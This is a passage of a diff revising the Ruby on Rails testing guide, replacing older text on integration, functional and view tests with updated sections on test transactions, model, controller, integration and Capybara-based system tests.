-For dealing with the integration test runner, see [`ActionDispatch::Integration::Runner`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html).
-
-When performing requests, we will have [`ActionDispatch::Integration::RequestHelpers`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html) available for our use.
-
-If we need to modify the session, or state of our integration test, take a look at [`ActionDispatch::Integration::Session`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html) to help.
-
-### Implementing an integration test
-
-Let's add an integration test to our blog application. We'll start with a basic workflow of creating a new blog article, to verify that everything is working properly.
-
-We'll start by generating our integration test skeleton:
-
-```bash
-$ bin/rails generate integration_test blog_flow
-```
-
-It should have created a test file placeholder for us. With the output of the
-previous command we should see:
-
-```bash
-      invoke  test_unit
-      create    test/integration/blog_flow_test.rb
-```
-
-Now let's open that file and write our first assertion:
+The method
+[`ActiveRecord::Base.current_transaction`](https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-current_transaction)
+still acts as intended, though:
 
 ```ruby
-require 'test_helper'
-
-class BlogFlowTest < ActionDispatch::IntegrationTest
-  test "can see the welcome page" do
-    get "/"
-    assert_select "h1", "Welcome#index"
+class MyTest < ActiveSupport::TestCase
+  test "Active Record current_transaction method works as expected" do
+    # The implicit transaction around tests does not interfere with the
+    # application-level semantics of the current_transaction.
+    assert User.current_transaction.blank?
   end
 end
 ```
 
-We will take a look at `assert_select` to query the resulting HTML of a request in the "Testing Views" section below. It is used for testing the response of our request by asserting the presence of key HTML elements and their content.
-
-When we visit our root path, we should see `welcome/index.html.erb` rendered for the view. So this assertion should pass.
+If there are [multiple writing databases](active_record_multiple_databases.html)
+in place, tests are wrapped in as many respective transactions, and all of them
+are rolled back.
 
-#### Creating articles integration
+#### Opting-out of Test Transactions
 
-How about testing our ability to create a new article in our blog and see the resulting article.
+Individual test cases can opt-out:
 
 ```ruby
-test "can create an article" do
-  get "/articles/new"
-  assert_response :success
-
-  post "/articles",
-    params: { article: { title: "can create", body: "article successfully." } }
-  assert_response :redirect
-  follow_redirect!
-  assert_response :success
-  assert_select "p", "Title:\n  can create"
+class MyTest < ActiveSupport::TestCase
+  # No implicit database transaction wraps the tests in this test case.
+  self.use_transactional_tests = false
 end
 ```
 
-Let's break this test down so we can understand it.
+Testing Models
+--------------
 
-We start by calling the `:new` action on our Articles controller. This response should be successful.
+Model tests are used to test the models of your application and their associated
+logic. You can test this logic using the assertions and fixtures that we've
+explored in the sections above.
 
-After this we make a post request to the `:create` action of our Articles controller:
+Rails model tests are stored under the `test/models` directory. Rails provides a
+generator to create a model test skeleton for you.
 
-```ruby
-post "/articles",
-  params: { article: { title: "can create", body: "article successfully." } }
-assert_response :redirect
-follow_redirect!
+```bash
+$ bin/rails generate test_unit:model article
+create  test/models/article_test.rb
 ```
 
-The two lines following the request are to handle the redirect we setup when creating a new article.
-
-NOTE: Don't forget to call `follow_redirect!` if you plan to make subsequent requests after a redirect is made.
+This command will generate the following file:
 
-Finally we can assert that our response was successful and our new article is readable on the page.
-
-#### Taking it further
+```ruby
+# article_test.rb
+require "test_helper"
 
-We were able to successfully test a very small workflow for visiting our blog and creating a new article. If we wanted to take this further we could add tests for commenting, removing articles, or editing comments. Integration tests are a great place to experiment with all kinds of use-cases for our applications.
+class ArticleTest < ActiveSupport::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
+```
 
+Model tests don't have their own superclass like `ActionMailer::TestCase`.
+Instead, they inherit from
+[`ActiveSupport::TestCase`](https://api.rubyonrails.org/classes/ActiveSupport/TestCase.html).
 
-Functional Tests for Your Controllers
--------------------------------------
+Functional Testing for Controllers
+----------------------------------
 
-In Rails, testing the various actions of a controller is a form of writing functional tests. Remember your controllers handle the incoming web requests to your application and eventually respond with a rendered view. When writing functional tests, you are testing how your actions handle the requests and the expected result or response, in some cases an HTML view.
+When writing functional tests, you are focusing on testing how controller
+actions handle the requests and the expected result or response. Functional
+controller tests are used to test controllers and other behavior, like API responses.
 
-### What to include in your Functional Tests
+### What to Include in Your Functional Tests
 
-You should test for things such as:
+You could test for things such as:
 
 * was the web request successful?
 * was the user redirected to the right page?
 * was the user successfully authenticated?
-* was the correct object stored in the response template?
-* was the appropriate message displayed to the user in the view?
+* was the correct information displayed in the response?
 
-The easiest way to see functional tests in action is to generate a controller using the scaffold generator:
+The easiest way to see functional tests in action is to generate a controller
+using the scaffold generator:
 
 ```bash
-$ bin/rails generate scaffold_controller article title:string body:text
+$ bin/rails generate scaffold_controller article
 ...
 create  app/controllers/articles_controller.rb
 ...
@@ -729,21 +903,29 @@ create    test/controllers/articles_controller_test.rb
 ...
 ```
 
-This will generate the controller code and tests for an `Article` resource.
-You can take a look at the file `articles_controller_test.rb` in the `test/controllers` directory.
+This will generate the controller code and tests for an `Article` resource. You
+can take a look at the file `articles_controller_test.rb` in the
+`test/controllers` directory.
 
-If you already have a controller and just want to generate the test scaffold code for
-each of the seven default actions, you can use the following command:
+If you already have a controller and just want to generate the test scaffold
+code for each of the seven default actions, you can use the following command:
 
 ```bash
 $ bin/rails generate test_unit:scaffold article
 ...
 invoke  test_unit
-create test/controllers/articles_controller_test.rb
+create    test/controllers/articles_controller_test.rb
 ...
 ```
 
-Let's take a look at one such test, `test_should_get_index` from the file `articles_controller_test.rb`.
+NOTE: if you are generating test scaffold code, you will see an `@article` value
+is set and used throughout the test file. This instance of `article` uses the
+attributes nested within a `:one` key in the `test/fixtures/articles.yml` file.
+Make sure you have set the key and related values in this file before you try to
+run the tests.
+
+Let's take a look at one such test, `test_should_get_index` from the file
+`articles_controller_test.rb`.
 
 ```ruby
 # articles_controller_test.rb
@@ -755,60 +937,78 @@ class ArticlesControllerTest < ActionDispatch::IntegrationTest
 end
 ```
 
-In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful
-and also ensuring that the right response body has been generated.
+In the `test_should_get_index` test, Rails simulates a request on the action
+called `index`, making sure the request was successful, and also ensuring that
+the right response body has been generated.
 
-The `get` method kicks off the web request and populates the results into the `@response`. It can accept up to 6 arguments:
+The `get` method kicks off the web request and populates the results into the
+`@response`. It can accept up to 6 arguments:
 
-* The URI of the controller action you are requesting.
-  This can be in the form of a string or a route helper (e.g. `articles_url`).
+* The URI of the controller action you are requesting. This can be in the form
+  of a string or a route helper (e.g. `articles_url`).
 * `params`: option with a hash of request parameters to pass into the action
   (e.g. query string parameters or article variables).
 * `headers`: for setting the headers that will be passed with the request.
 * `env`: for customizing the request environment as needed.
-* `xhr`: whether the request is Ajax request or not. Can be set to true for marking the request as Ajax.
-* `as`: for encoding the request with different content type. Supports `:json` by default.
+* `xhr`: whether the request is AJAX request or not. Can be set to true for
+  marking the request as AJAX.
+* `as`: for encoding the request with different content type.
 
 All of these keyword arguments are optional.
 
-Example: Calling the `:show` action, passing an `id` of 12 as the `params` and setting `HTTP_REFERER` header:
+Example: Calling the `:show` action (via a `get` request) for the first
+`Article`, passing in an `HTTP_REFERER` header:
+
+```ruby
+get article_url(Article.first), headers: { "HTTP_REFERER" => "http://example.com/home" }
+```
+
+Another example: Calling the `:update` action (via a `patch` request) for the
+last `Article`, passing in new text for the `title` in `params`, as an AJAX
+request:
 
 ```ruby
-get article_url, params: { id: 12 }, headers: { "HTTP_REFERER" => "http://example.com/home" }
+patch article_url(Article.last), params: { article: { title: "updated" } }, xhr: true
 ```
 
-Another example: Calling the `:update` action, passing an `id` of 12 as the `params` as an Ajax request.
+One more example: Calling the `:create` action (via a `post` request) to create
+a new article, passing in text for the `title` in `params`, as JSON request:
 
 ```ruby
-patch article_url, params: { id: 12 }, xhr: true
+post articles_url, params: { article: { title: "Ahoy!" } }, as: :json
 ```
 
-NOTE: If you try running `test_should_create_article` test from `articles_controller_test.rb` it will fail on account of the newly added model level validation and rightly so.
+NOTE: If you try running the `test_should_create_article` test from
+`articles_controller_test.rb` it will (correctly) fail due to the newly added
+model-level validation.
 
-Let us modify `test_should_create_article` test in `articles_controller_test.rb` so that all our test pass:
+Now to modify the `test_should_create_article` test in
+`articles_controller_test.rb` so that this test passes:
 
 ```ruby
 test "should create article" do
-  assert_difference('Article.count') do
-    post articles_url, params: { article: { body: 'Rails is awesome!', title: 'Hello Rails' } }
+  assert_difference("Article.count") do
+    post articles_url, params: { article: { body: "Rails is awesome!", title: "Hello Rails" } }
   end
 
   assert_redirected_to article_path(Article.last)
 end
 ```
 
-Now you can try running all the tests and they should pass.
+You can now run this test and it will pass.
 
-NOTE: If you followed the steps in the Basic Authentication section, you'll need to add the following to the `setup` block to get all the tests passing:
+NOTE: If you followed the steps in the [Basic
+Authentication](getting_started.html#adding-authentication) section, you'll need
+to add authorization to every request header to get all the tests passing:
 
 ```ruby
-request.headers['Authorization'] = ActionController::HttpAuthentication::Basic.
-  encode_credentials('dhh', 'secret')
+post articles_url, params: { article: { body: "Rails is awesome!", title: "Hello Rails" } }, headers: { Authorization: ActionController::HttpAuthentication::Basic.encode_credentials("dhh", "secret") }
 ```
 
-### Available Request Types for Functional Tests
+### HTTP Request Types for Functional Tests
 
-If you're familiar with the HTTP protocol, you'll know that `get` is a type of request. There are 6 request types supported in Rails functional tests:
+If you're familiar with the HTTP protocol, you'll know that `get` is a type of
+request. There are 6 request types supported in Rails functional tests:
 
 * `get`
 * `post`
@@ -817,50 +1017,61 @@ If you're familiar with the HTTP protocol, you'll know that `get` is a type of r
 * `head`
 * `delete`
 
-All of request types have equivalent methods that you can use. In a typical C.R.U.D. application you'll be using `get`, `post`, `put` and `delete` more often.
+All of the request types have equivalent methods that you can use. In a typical
+CRUD application you'll be using `post`, `get`, `put`, and `delete` most
+often.
 
-NOTE: Functional tests do not verify whether the specified request type is accepted by the action, we're more concerned with the result. Request tests exist for this use case to make your tests more purposeful.
+NOTE: Functional tests do not verify whether the specified request type is
+accepted by the action; instead, they focus on the result. For testing the
+request type, request tests are available, making your tests more purposeful.
 
-### Testing XHR (AJAX) requests
+### Testing XHR (AJAX) Requests
+
+An AJAX request (Asynchronous JavaScript and XML) is a technique where content is
+fetched from the server using asynchronous HTTP requests and the relevant parts
+of the page are updated without requiring a full page load.
 
 To test AJAX requests, you can specify the `xhr: true` option to `get`, `post`,
 `patch`, `put`, and `delete` methods. For example:
 
 ```ruby
-test "ajax request" do
+test "AJAX request" do
   article = articles(:one)
   get article_url(article), xhr: true
 
-  assert_equal 'hello world', @response.body
-  assert_equal "text/javascript", @response.content_type
+  assert_equal "hello world", @response.body
+  assert_equal "text/javascript", @response.media_type
 end
 ```
 
-### The Three Hashes of the Apocalypse
+### Testing Other Request Objects
 
-After a request has been made and processed, you will have 3 Hash objects ready for use:
+After any request has been made and processed, you will have 3 Hash objects
+ready for use:
 
 * `cookies` - Any cookies that are set
 * `flash` - Any objects living in the flash
 * `session` - Any object living in session variables
 
-As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name. For example:
+As is the case with normal Hash objects, you can access the values by
+referencing the keys by string. You can also reference them by symbol name. For
+example:
 
 ```ruby
-flash["gordon"]               flash[:gordon]
-session["shmession"]          session[:shmession]
-cookies["are_good_for_u"]     cookies[:are_good_for_u]
+flash["gordon"]               # or flash[:gordon]
+session["shmession"]          # or session[:shmession]
+cookies["are_good_for_u"]     # or cookies[:are_good_for_u]
 ```
 
-### Instance Variables Available
+### Instance Variables
 
-You also have access to three instance variables in your functional tests, after a request is made:
+You also have access to three instance variables in your functional tests after
+a request is made:
 
 * `@controller` - The controller processing the request
 * `@request` - The request object
 * `@response` - The response object
 
-
 ```ruby
 class ArticlesControllerTest < ActionDispatch::IntegrationTest
   test "should get index" do
@@ -868,17 +1079,18 @@ class ArticlesControllerTest < ActionDispatch::IntegrationTest
 
     assert_equal "index", @controller.action_name
     assert_equal "application/x-www-form-urlencoded", @request.media_type
-    assert_match "Articles", @response.body    
+    assert_match "Articles", @response.body
   end
 end
 ```
 
-### Setting Headers and CGI variables
+### Setting Headers and CGI Variables
 
-[HTTP headers](http://tools.ietf.org/search/rfc2616#section-5.3)
-and
-[CGI variables](http://tools.ietf.org/search/rfc3875#section-4.1)
-can be passed as headers:
+HTTP headers are pieces of information sent along with HTTP requests to provide
+important metadata. CGI variables are environment variables used to exchange
+information between the web server and the application.
+
+HTTP headers and CGI variables can be tested by being passed as headers:
 
 ```ruby
 # setting an HTTP Header
@@ -888,30 +1100,32 @@ get articles_url, headers: { "Content-Type": "text/plain" } # simulate the reque
 get articles_url, headers: { "HTTP_REFERER": "http://example.com/home" } # simulate the request with custom env variable
 ```
 
-### Testing `flash` notices
-
-If you remember from earlier, one of the Three Hashes of the Apocalypse was `flash`.
+### Testing `flash` Notices
 
-We want to add a `flash` message to our blog application whenever someone
-successfully creates a new Article.
+As can be seen in the [testing other request objects
+section](#testing-other-request-objects), one of the three hash objects that is
+accessible in the tests is `flash`. This section outlines how to test the
+appearance of a `flash` message in our blog application whenever someone
+successfully creates a new article.
 
-Let's start by adding this assertion to our `test_should_create_article` test:
+First, an assertion should be added to the `test_should_create_article` test:
 
 ```ruby
 test "should create article" do
-  assert_difference('Article.count') do
-    post article_url, params: { article: { title: 'Some title' } }
+  assert_difference("Article.count") do
+    post articles_url, params: { article: { title: "Some title" } }
   end
 
   assert_redirected_to article_path(Article.last)
-  assert_equal 'Article was successfully created.', flash[:notice]
+  assert_equal "Article was successfully created.", flash[:notice]
 end
 ```
 
-If we run our test now, we should see a failure:
+If the test is run now, it should fail:
 
 ```bash
 $ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
+Running 1 tests in a single process (parallelization threshold is 50)
 Run options: -n test_should_create_article --seed 32266
 
 # Running:
@@ -931,25 +1145,27 @@ ArticlesControllerTest#test_should_create_article [/test/controllers/articles_co
 1 runs, 4 assertions, 1 failures, 0 errors, 0 skips
 ```
 
-Let's implement the flash message now in our controller. Our `:create` action should now look like this:
+Now implement the flash message in the controller. The `:create` action should
+look like this:
 
 ```ruby
 def create
   @article = Article.new(article_params)
 
   if @article.save
-    flash[:notice] = 'Article was successfully created.'
+    flash[:notice] = "Article was successfully created."
     redirect_to @article
   else
-    render 'new'
+    render "new"
   end
 end
 ```
 
-Now if we run our tests, we should see it pass:
+Now, if the tests are run they should pass:
 
 ```bash
 $ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
+Running 1 tests in a single process (parallelization threshold is 50)
 Run options: -n test_should_create_article --seed 18981
 
 # Running:
@@ -961,11 +1177,15 @@ Finished in 0.081972s, 12.1993 runs/s, 48.7972 assertions/s.
 1 runs, 4 assertions, 0 failures, 0 errors, 0 skips
 ```
 
-### Putting it together
+NOTE: If you generated your controller using the scaffold generator, the flash
+message will already be implemented in your `create` action.
 
-At this point our Articles controller tests the `:index` as well as `:new` and `:create` actions. What about dealing with existing data?
+### Tests for `show`, `update`, and `delete` Actions
 
-Let's write a test for the `:show` action:
+So far in the guide tests for the `:index` as well as the`:create` action have
+been outlined. What about the other actions?
+
+You can write a test for `:show` as follows:
 
 ```ruby
 test "should show article" do
@@ -975,14 +1195,15 @@ test "should show article" do
 end
 ```
 
-Remember from our discussion earlier on fixtures, the `articles()` method will give us access to our Articles fixtures.
+If you remember from our discussion earlier on [fixtures](#fixtures), the
+`articles()` method will provide access to the articles fixtures.
 
-How about deleting an existing Article?
+How about deleting an existing article?
 
 ```ruby
-test "should destroy article" do
+test "should delete article" do
   article = articles(:one)
-  assert_difference('Article.count', -1) do
+  assert_difference("Article.count", -1) do
     delete article_url(article)
   end
 
@@ -990,7 +1211,7 @@ test "should destroy article" do
 end
 ```
 
-We can also add a test for updating an existing Article.
+Here is a test for updating an existing article:
 
 ```ruby
 test "should update article" do
@@ -999,18 +1220,21 @@ test "should update article" do
   patch article_url(article), params: { article: { title: "updated" } }
 
   assert_redirected_to article_path(article)
-  # Reload association to fetch updated data and assert that title is updated.
+  # Reload article to refresh data and assert that title is updated.
   article.reload
   assert_equal "updated", article.title
 end
 ```
 
-Notice we're starting to see some duplication in these three tests, they both access the same Article fixture data. We can D.R.Y. this up by using the `setup` and `teardown` methods provided by `ActiveSupport::Callbacks`.
+Notice that there is some duplication in these three tests - they both access
+the same article fixture data. It is possible to DRY ('Don't Repeat
+Yourself') the implementation by using the `setup` and `teardown` methods
+provided by `ActiveSupport::Callbacks`.
 
-Our test should now look something as what follows. Disregard the other tests for now, we're leaving them out for brevity.
+The tests might look like this:
 
 ```ruby
-require 'test_helper'
+require "test_helper"
 
 class ArticlesControllerTest < ActionDispatch::IntegrationTest
   # called before every single test
@@ -1031,7 +1255,7 @@ class ArticlesControllerTest < ActionDispatch::IntegrationTest
   end
 
   test "should destroy article" do
-    assert_difference('Article.count', -1) do
+    assert_difference("Article.count", -1) do
       delete article_url(@article)
     end
 
@@ -1049,325 +1273,1616 @@ class ArticlesControllerTest < ActionDispatch::IntegrationTest
 end
 ```
 
-Similar to other callbacks in Rails, the `setup` and `teardown` methods can also be used by passing a block, lambda, or method name as a symbol to call.
+NOTE: Similar to other callbacks in Rails, the `setup` and `teardown` methods
+can also accept a block, lambda, or a method name as a symbol to be called.
+
+Integration Testing
+-------------------
 
-### Test helpers
+Integration tests take functional controller tests one step further - they focus
+on testing how several parts of an application interact, and are generally used
+to test important workflows. Rails integration tests are stored in the
+`test/integration` directory.
 
-To avoid code duplication, you can add your own test helpers.
-Sign in helper can be a good example:
+Rails provides a generator to create an integration test skeleton as follows:
 
-```ruby
-# test/test_helper.rb
+```bash
+$ bin/rails generate integration_test user_flows
+      invoke  test_unit
+      create  test/integration/user_flows_test.rb
+```
 
-module SignInHelper
-  def sign_in_as(user)
-    post sign_in_url(email: user.email, password: user.password)
-  end
-end
+Here's what a freshly generated integration test looks like:
 
-class ActionDispatch::IntegrationTest
-  include SignInHelper
+```ruby
+require "test_helper"
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  # test "the truth" do
+  #   assert true
+  # end
 end
 ```
 
-```ruby
-require 'test_helper'
+Here the test is inheriting from
+[`ActionDispatch::IntegrationTest`](https://api.rubyonrails.org/classes/ActionDispatch/IntegrationTest.html).
+This makes some additional [helpers available for integration
+tests](testing.html#helpers-available-for-integration-tests) alongside the
+standard testing helpers.
 
-class ProfileControllerTest < ActionDispatch::IntegrationTest
+### Implementing an Integration Test
 
-  test "should show profile" do
-    # helper is now reusable from any controller test case
-    sign_in_as users(:david)
+Let's add an integration test to our blog application, by starting with a basic
+workflow of creating a new blog article to verify that everything is working
+properly.
 
-    get profile_url
-    assert_response :success
-  end
-end
-```
+Start by generating the integration test skeleton:
 
-Testing Routes
---------------
+```bash
+$ bin/rails generate integration_test blog_flow
+```
 
-Like everything else in your Rails application, you can test your routes. Route tests reside in `test/controllers/` or are part of controller tests.
+It should have created a test file placeholder. With the output of the previous
+command you should see:
 
-NOTE: If your application has complex routes, Rails provides a number of useful helpers to test them.
+```
+      invoke  test_unit
+      create    test/integration/blog_flow_test.rb
+```
 
-For more information on routing assertions available in Rails, see the API documentation for [`ActionDispatch::Assertions::RoutingAssertions`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html).
+Now open that file and write the first assertion:
 
-Testing Views
--------------
+```ruby
+require "test_helper"
 
-Testing the response to your request by asserting the presence of key HTML elements and their content is a common way to test the views of your application. Like route tests, view tests reside in `test/controllers/` or are part of controller tests. The `assert_select` method allows you to query HTML elements of the response by using a simple yet powerful syntax.
+class BlogFlowTest < ActionDispatch::IntegrationTest
+  test "can see the welcome page" do
+    get "/"
+    assert_dom "h1", "Welcome#index"
+  end
+end
+```
 
-There are two forms of `assert_select`:
+If you visit the root path, you should see `welcome/index.html.erb` rendered for
+the view. So this assertion should pass.
 
-`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String) or an expression with substitution values.
+NOTE: The assertion `assert_dom` (aliased to `assert_select`) is available in integration tests to check
+the presence of key HTML elements and their content.
 
-`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `Nokogiri::XML::Node` or `Nokogiri::XML::NodeSet`) and its descendants.
+#### Creating Articles Integration
 
-For example, you could verify the contents on the title element in your response with:
+To test the ability to create a new article in our blog and display the
+resulting article, see the example below:
 
 ```ruby
-assert_select 'title', "Welcome to Rails Testing Guide"
+test "can create an article" do
+  get "/articles/new"
+  assert_response :success
+
+  post "/articles",
+    params: { article: { title: "can create", body: "article successfully." } }
+  assert_response :redirect
+  follow_redirect!
+  assert_response :success
+  assert_dom "p", "Title:\n  can create"
+end
 ```
 
-You can also use nested `assert_select` blocks for deeper investigation.
+The `:new` action of our Articles controller is called first, and the response
+should be successful.
 
-In the following example, the inner `assert_select` for `li.menu_item` runs
-within the collection of elements selected by the outer block:
+Next, a `post` request is made to the `:create` action of the Articles
+controller:
 
 ```ruby
-assert_select 'ul.navigation' do
-  assert_select 'li.menu_item'
-end
+post "/articles",
+  params: { article: { title: "can create", body: "article successfully." } }
+assert_response :redirect
+follow_redirect!
 ```
 
-A collection of selected elements may be iterated through so that `assert_select` may be called separately for each element.
+The two lines following the request are to handle the redirect setup when
+creating a new article.
 
-For example if the response contains two ordered lists, each with four nested list elements then the following tests will both pass.
+NOTE: Don't forget to call `follow_redirect!` if you plan to make subsequent
+requests after a redirect is made.
 
-```ruby
-assert_select "ol" do |elements|
-  elements.each do |element|
-    assert_select element, "li", 4
-  end
-end
+Finally it can be asserted that the response was successful and the
+newly-created article is readable on the page.
 
-assert_select "ol" do
-  assert_select "li", 8
-end
-```
+A very small workflow for visiting our blog and creating a new article was
+successfully tested above. To extend this, additional tests could be added for
+features like adding comments, editing comments or removing articles.
+Integration tests are a great place to experiment with all kinds of use cases
+for our applications.
 
-This assertion is quite powerful. For more advanced usage, refer to its [documentation](https://github.com/rails/rails-dom-testing/blob/master/lib/rails/dom/testing/assertions/selector_assertions.rb).
+### Helpers Available for Integration Tests
 
-#### Additional View-Based Assertions
+There are numerous helpers to choose from for use in integration tests. Some
+include:
 
-There are more assertions that are primarily used in testing views:
+* [`ActionDispatch::Integration::Runner`](https://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html)
+  for helpers relating to the integration test runner, including creating a new
+  session.
 
-| Assertion                                                 | Purpose |
-| --------------------------------------------------------- | ------- |
-| `assert_select_email`                                     | Allows you to make assertions on the body of an e-mail. |
-| `assert_select_encoded`                                   | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
-| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
+* [`ActionDispatch::Integration::RequestHelpers`](https://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html)
+  for performing requests.
 
-Here's an example of using `assert_select_email`:
+* [`ActionDispatch::TestProcess::FixtureFile`](https://api.rubyonrails.org/classes/ActionDispatch/TestProcess/FixtureFile.html)
+  for uploading files.
 
-```ruby
-assert_select_email do
-  assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
-end
-```
+* [`ActionDispatch::Integration::Session`](https://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html)
+  to modify sessions or the state of the integration tests.
 
-Testing Helpers
----------------
+System Testing
+--------------
 
-A helper is just a simple module where you can define methods which are
-available into your views.
+Similarly to integration testing, system testing allows you to test how the
+components of your app work together, but from the point of view of a user. It
+does this by running tests in either a real or a headless browser (a browser
+which runs in the background without opening a visible window). System tests use
+[Capybara](https://www.rubydoc.info/github/jnicklas/capybara) under the hood.
 
-In order to test helpers, all you need to do is check that the output of the
-helper method matches what you'd expect. Tests related to the helpers are
-located under the `test/helpers` directory.
+### When to Use System Tests
 
-Given we have the following helper:
+System tests provide the most realistic testing experience as they test your
+application from a user's perspective. However, they come with important
+trade-offs:
 
-```ruby
-module UserHelper
-  def link_to_user(user)
-    link_to "#{user.first_name} #{user.last_name}", user
-  end
-end
-```
+* **They are significantly slower** than unit and integration tests
+* **They can be brittle** and prone to failures from timing issues or UI changes
+* **They require more maintenance** as your UI evolves
 
-We can test the output of this method like this:
+Given these trade-offs, **system tests should be reserved for critical user
+paths** rather than being created for every feature. Consider writing system
+tests for:
 
-```ruby
-class UserHelperTest < ActionView::TestCase
-  test "should return the user's full name" do
-    user = users(:david)
+* **Core business workflows** (e.g., user registration, checkout process,
+  payment flows)
+* **Critical user interactions** that integrate multiple components
+* **Complex JavaScript interactions** that can't be tested at lower levels
 
-    assert_dom_equal %{<a href="/user/#{user.id}">David Heinemeier Hansson</a>}, link_to_user(user)
+For most features, integration tests provide a better balance of coverage and
+maintainability. Save system tests for scenarios where you need to verify the
+complete user experience.
+
+### Generating System Tests
+
+Rails no longer generates system tests by default when using scaffolds. This
+change reflects the best practice of using system tests sparingly. You can
+generate system tests in two ways:
+
+1. **When scaffolding**, explicitly enable system tests:
+
+    ```bash
+    $ bin/rails generate scaffold Article title:string body:text --system-tests=true
+    ```
+
+2. **Generate system tests independently** for critical features:
+
+    ```bash
+    $ bin/rails generate system_test articles
+    ```
+
+Rails system tests are stored in the `test/system` directory in your
+application. To generate a system test skeleton, run the following command:
+
+```bash
+$ bin/rails generate system_test users
+      invoke  test_unit
+      create    test/application_system_test_case.rb
+      create    test/system/users_test.rb
+```
+
+Here's what a freshly generated system test looks like:
+
+```ruby
+require "application_system_test_case"
+
+class UsersTest < ApplicationSystemTestCase
+  # test "visiting the index" do
+  #   visit users_url
+  #
+  #   assert_dom "h1", text: "Users"
+  # end
+end
+```
+
+By default, system tests are run with the Selenium driver, using the Chrome
+browser, and a screen size of 1400x1400. The next section explains how to change
+the default settings.
+
+### Changing the Default Settings
+
+Rails makes changing the default settings for system tests very simple. All the
+setup is abstracted away so you can focus on writing your tests.
+
+When you generate system tests, an
+`application_system_test_case.rb` file is created in the test directory. This is
+where all the configuration for your system tests should live.
+
+If you want to change the default settings, you can change what the system tests
+are "driven by". If you want to change the driver from Selenium to Cuprite,
+you'd add the [`cuprite`](https://github.com/rubycdp/cuprite) gem to your
+`Gemfile`. Then in your `application_system_test_case.rb` file you'd do the
+following:
+
+```ruby
+require "test_helper"
+require "capybara/cuprite"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :cuprite
+end
+```
+
+The driver name is a required argument for `driven_by`. The optional arguments
+that can be passed to `driven_by` are `:using` for the browser (this will only
+be used by Selenium), `:screen_size` to change the size of the screen for
+screenshots, and `:options` which can be used to set options supported by the
+driver.
+
+```ruby
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :firefox
+end
+```
+
+If you want to use a headless browser, you could use Headless Chrome or Headless
+Firefox by adding `headless_chrome` or `headless_firefox` in the `:using`
+argument.
+
+```ruby
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :headless_chrome
+end
+```
+
+If you want to use a remote browser, e.g. [Headless Chrome in
+Docker](https://github.com/SeleniumHQ/docker-selenium), you have to add a remote
+`url` and set `browser` as remote through `options`.
+
+```ruby
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  url = ENV.fetch("SELENIUM_REMOTE_URL", nil)
+  options = if url
+    { browser: :remote, url: url }
+  else
+    { browser: :chrome }
+  end
+  driven_by :selenium, using: :headless_chrome, options: options
+end
+```
+
+Now you should get a connection to the remote browser.
+
+```bash
+$ SELENIUM_REMOTE_URL=http://localhost:4444/wd/hub bin/rails test:system
+```
+
+If your application is remote, e.g. within a Docker container, Capybara needs
+more input about how to [call remote
+servers](https://github.com/teamcapybara/capybara#calling-remote-servers).
+
+```ruby
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  setup do
+      Capybara.server_host = "0.0.0.0" # bind to all interfaces
+      Capybara.app_host = "http://#{IPSocket.getaddress(Socket.gethostname)}" if ENV["SELENIUM_REMOTE_URL"].present?
+    end
+  # ...
+end
+```
+
+Now you should get a connection to a remote browser and server, regardless if it
+is running in a Docker container or CI.
+
+If your Capybara configuration requires more setup than provided by Rails, this
+additional configuration can be added into the `application_system_test_case.rb`
+file.
+
+Please see [Capybara's
+documentation](https://github.com/teamcapybara/capybara#setup) for additional
+settings.
+
+### Implementing a System Test
+
+This section will demonstrate how to add a system test to your application,
+which tests a visit to the index page to create a new blog article.
+
+NOTE: The scaffold generator no longer creates system tests by default. To
+include system tests when scaffolding, use the `--system-tests=true` option.
+Otherwise, create system tests manually for your critical user paths.
+
+```bash
+$ bin/rails generate system_test articles
+```
+
+It should have created a test file placeholder. With the output of the previous
+command you should see:
+
+```
+      invoke  test_unit
+      create    test/application_system_test_case.rb
+      create    test/system/articles_test.rb
+```
+
+Now, let's open that file and write the first assertion:
+
+```ruby
+require "application_system_test_case"
+
+class ArticlesTest < ApplicationSystemTestCase
+  test "viewing the index" do
+    visit articles_path
+    assert_selector "h1", text: "Articles"
+  end
+end
+```
+
+The test should see that there is an `h1` on the articles index page and pass.
+
+Run the system tests.
+
+```bash
+$ bin/rails test:system
+```
+
+NOTE: By default, running `bin/rails test` won't run your system tests. Make
+sure to run `bin/rails test:system` to actually run them. You can also run
+`bin/rails test:all` to run all tests, including system tests.
+
+#### Creating Articles System Test
+
+Now you can test the flow for creating a new article.
+
+```ruby
+test "should create Article" do
+  visit articles_path
+
+  click_on "New Article"
+
+  fill_in "Title", with: "Creating an Article"
+  fill_in "Body", with: "Created this article successfully!"
+
+  click_on "Create Article"
+
+  assert_text "Creating an Article"
+end
+```
+
+The first step is to call `visit articles_path`. This will take the test to the
+articles index page.
+
+Then the `click_on "New Article"` will find the "New Article" button on the
